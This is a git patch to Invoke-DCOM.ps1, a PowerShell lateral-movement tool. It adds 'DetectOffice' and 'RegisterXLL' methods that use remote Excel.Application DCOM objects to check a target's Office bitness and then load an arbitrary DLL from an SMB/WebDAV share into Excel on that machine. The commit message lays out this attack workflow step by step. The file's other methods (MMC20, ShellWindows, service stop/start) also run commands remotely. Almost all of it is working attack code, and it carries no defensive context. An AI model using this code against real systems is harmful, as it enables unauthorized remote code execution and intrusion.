From 14cdce7475dd45e1587d3b57b83c67cb55f57d7b Mon Sep 17 00:00:00 2001 From: Richard Warren Date: Sat, 22 Jul 2017 20:25:35 +0100 Subject: [PATCH] Added Excel.Application methods, originally discovered by @RyHanson. Use DetectOffice to detect the Office bitness, and then host the appropriate DLL on a SMB/WebDAV share. Then use RegisterXLL with the path to your DLL and it will be loaded by Excel on the target system. --- Invoke-DCOM.ps1 | 23 +++++++++++++++++++++-- 1 file changed, 21 insertions(+), 2 deletions(-) diff --git a/Invoke-DCOM.ps1 b/Invoke-DCOM.ps1 index 043a862..e82b559 100644 --- a/Invoke-DCOM.ps1 +++ b/Invoke-DCOM.ps1 @@ -50,7 +50,8 @@ function Invoke-DCOM { $ComputerName, [Parameter(Mandatory = $true, Position = 1)] - [ValidateSet("MMC20", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart")] + [ValidateSet("MMC20", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart", + "DetectOffice","RegisterXLL")] [String] $Method = "MMC20", @@ -60,7 +61,12 @@ function Invoke-DCOM { [Parameter(Mandatory = $false, Position = 3)] [string] - $Command= "calc.exe" + $Command= "calc.exe", + + [Parameter(Mandatory = $false, Position = 4)] + [string] + $DllPath, + ) Begin { @@ -163,6 +169,19 @@ function Invoke-DCOM { $Obj = [System.Activator]::CreateInstance($Com) $obj.Document.Application.ServiceStart("$ServiceName") } + elseif ($Method -Match "DetectOffice") { + + $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") + $Obj = [System.Activator]::CreateInstance($Com) + $isx64 = [boolean]$obj.Application.ProductCode[21] + Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"}) + } + elseif ($Method -Match "RegisterXLL") { + + $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") + $Obj = [System.Activator]::CreateInstance($Com) + $obj.Application.RegisterXLL("$DllPath") + } } End {